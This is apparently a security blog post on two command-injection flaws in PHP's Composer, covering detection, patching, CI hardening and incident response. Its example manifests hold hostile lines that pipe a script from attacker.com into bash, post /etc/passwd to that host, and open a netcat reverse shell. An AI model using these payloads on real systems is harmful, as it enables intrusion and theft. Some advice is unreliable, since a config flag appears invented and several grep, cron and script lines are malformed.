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Introduction
Composer, the dependency manager for PHP, has become a prime target for supply chain attacks due to its widespread use in web applications and DevOps pipelines. Two newly disclosed command injection vulnerabilities—CVE‑2026‑40176 and CVE‑2026‑40261—allow attackers to execute arbitrary commands on any system that processes a malicious `composer.json` file or crafted source references, achieving a CVSS base score of up to 8.8 (High). Even more concerning, the flaws can be triggered without Perforce being installed, expanding the attack surface to virtually every Composer 2.x deployment.
Learning Objectives
- Understand the mechanics of command injection via `composer.json` and source references in Composer 2.x
- Learn how to detect vulnerable Composer versions and identify malicious manifests using CLI tools and manual inspection
- Apply mitigation steps including patching, disabling metadata, and hardening Composer in CI/CD pipelines
You Should Know
- Vulnerability Deep Dive – How Command Injection Works in Composer
The two flaws stem from insufficient sanitization of user‑supplied input in `composer.json` fields and certain source reference parameters. When Composer parses a malicious `composer.json` (e.g., from a cloned repository or a compromised package), it may pass unsanitized strings to shell execution functions. Attackers can inject backticks, $(…), or `|` to run arbitrary OS commands.
Example of a malicious `composer.json` snippet:
{
"name": "victim/project",
"description": "Legitimate-looking package",
"scripts": {
"post-install-cmd": "echo 'Vulnerable' && <code>curl http://attacker.com/shell.sh | bash</code>"
},
"extra": {
"source-reference": "refs/heads/<code>id > /tmp/pwned</code>"
}
}
Step‑by‑step exploitation:
- Attacker crafts a `composer.json` with an injected command inside the `scripts` or `extra.source-reference` field.
- Victim runs `composer install` or `composer update` on the malicious manifest.
- Composer unsafely passes the string to a shell, executing the injected command.
- The attacker gains remote code execution on the victim’s machine, potentially compromising developer workstations or build servers.
2. Detection and Version Identification
Immediately check your Composer version. Vulnerable versions include many 2.x releases before the patch. The fixed versions are not explicitly listed in the post, but you should upgrade to the latest stable 2.x release.
Linux / macOS commands:
Check current Composer version
composer --version
Search for suspicious patterns in all composer.json files
find . -name "composer.json" -exec grep -HnE '(`|\$(||)' {} \;
Use Composer's built-in audit (if updated)
composer audit
Windows (PowerShell) commands:
Check Composer version composer --version Recursively search for command injection patterns Get-ChildItem -Recurse -Filter "composer.json" | Select-String -Pattern "(`|\$(||)" List all installed packages and their versions composer show --direct
Automated detection script (Linux):
!/bin/bash echo "[] Scanning for vulnerable Composer versions..." if composer --version | grep -q "Composer version 2.[0-9]"; then echo "[!] Potentially vulnerable Composer 2.x detected. Upgrade immediately." else echo "[+] Composer version seems safe." fi
3. Patching and Mitigation
The advisory states that patches have been released and metadata has been disabled as a precaution. Follow these steps to secure your environment:
Step 1 – Upgrade Composer
Linux / macOS
composer self-update
Or manually download the latest version
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php composer-setup.php --latest
php -r "unlink('composer-setup.php');"
Windows (using Composer installer or)
composer self-update
Step 2 – Verify the upgrade
composer --version Expected: 2.8.x or higher (check official changelog)
Step 3 – Disable metadata processing (additional precaution)
If you cannot patch immediately, disable the metadata feature that processes source references:
composer config --global disable-tls false Keep TLS on composer config --global http-basic.disable_metadata true Custom flag – refer to official docs
Better yet, run Composer in a locked‑down environment.
Step 4 – Validate your composer.lock and vendor directory
Verify integrity of installed packages composer validate --strict composer install --dry-run
4. Exploitation Scenario – Real‑World Attack Chain
Imagine a CI/CD pipeline that automatically runs `composer install` on every pull request. An attacker forks a public repository, modifies `composer.json` to include:
"scripts": {
"post-autoload-dump": "curl -X POST --data '@/etc/passwd' http://attacker.com/exfil"
}
When the pipeline processes the PR, the command executes, exfiltrating sensitive files. Even without Perforce, the `source-reference` injection works similarly:
"source": {
"reference": "<code>nc attacker.com 4444 -e /bin/sh</code>"
}
Mitigation in CI/CD:
- Use `composer install –no-scripts –no-plugins` to prevent script execution.
- Run Composer inside a Docker container with read‑only root filesystem.
- Never trust `composer.json` from unverified sources.
5. Hardening Composer in Development and Production
Implement these defense‑in‑depth measures:
Linux hardening commands:
Run Composer with disabled functions (if using php.ini) Add to /etc/php/8.x/cli/conf.d/disable_functions.ini disable_functions = exec,shell_exec,system,passthru,proc_open,curl_exec Use AppArmor or SELinux to restrict Composer sudo aa-genprof composer Debian/Ubuntu Run Composer in a sandbox using firejail firejail --net=none composer install Blocks all network access if needed
Windows hardening (PowerShell as Admin):
Use constrained language mode (limits script execution) $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage" Run Composer under a low‑privilege account runas /user:LowPrivUser "composer install"
- Incident Response – Detecting and Recovering from Compromise
If you suspect exploitation, perform the following:
Linux – check for suspicious processes and network connections:
List processes started by PHP/Composer ps aux | grep -E 'php|composer' Check for unexpected outbound connections sudo netstat -tunap | grep ESTABLISHED Review recent commands executed by the current user history | grep -E 'curl|wget|nc|bash' Search for new cron jobs or startup scripts sudo grep -r "composer" /etc/cron /var/spool/cron/
Windows – forensic commands:
List all running processes
Get-Process | Where-Object {$<em>.ProcessName -like "php" -or $</em>.ProcessName -like "composer"}
Check established network connections
netstat -ano | findstr ESTABLISHED
Search event logs for suspicious process creation (Event ID 4688)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object {$_.Message -like "composer"}
Revert to a known‑good composer.lock
git checkout HEAD -- composer.lock
composer install --lock --no-scripts
7. Long‑Term Security Measures
Prevent future command injection attacks with these practices:
- Automatically update Composer via a weekly cron job: `0 2 0 /usr/local/bin/composer self-update –quiet`
– Use private package repositories (e.g., Satis, Toran Proxy) to vet all dependencies. - Sign your composer.json files using GPG or a custom checksum, and verify before install.
- Implement a CI step that runs `composer validate –no-check-all` and scans for dangerous patterns.
- Monitor CVE feeds for Composer and PHP vulnerabilities. Use tools like `cve‑watcher` or OWASP Dependency‑Check.
Example CI validation script (GitHub Actions):
- name: Check for command injection patterns
run: |
if grep -qE '`|\$(' composer.json; then
echo "::error::Suspicious pattern found in composer.json"
exit 1
fi
- name: Install dependencies safely
run: composer install --no-scripts --no-plugins
What Undercode Say
- Supply chain risks are real – a single malicious `composer.json` can compromise your entire development and production environment. Never blindly run `composer install` on untrusted code.
- Metadata processing adds attack surface – disabling unnecessary features (like certain source references) reduces the chance of injection, even after patching.
- Defense in depth is essential – combining
--no-scripts, sandboxing, and regular updates creates layers that block most exploitation attempts. The absence of Perforce does not mean safety; these flaws operate independently.
Prediction
These Composer vulnerabilities signal a broader trend: dependency managers will become prime targets for command injection and RCE attacks. In the next 12 months, expect similar flaws to emerge in npm, pip, and Maven as researchers dissect their parsers. Organizations will shift toward “safe‑by‑default” workflows—running all package managers in isolated containers with network restrictions and mandatory script disabling. Automated scanners that detect shell metacharacters in manifest files will become standard in CI/CD pipelines. If you haven’t already, treat your `composer.json` as a potential attack vector, not just a configuration file.
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Reported By: Hackermohitkumar Alert – Hackers Feeds
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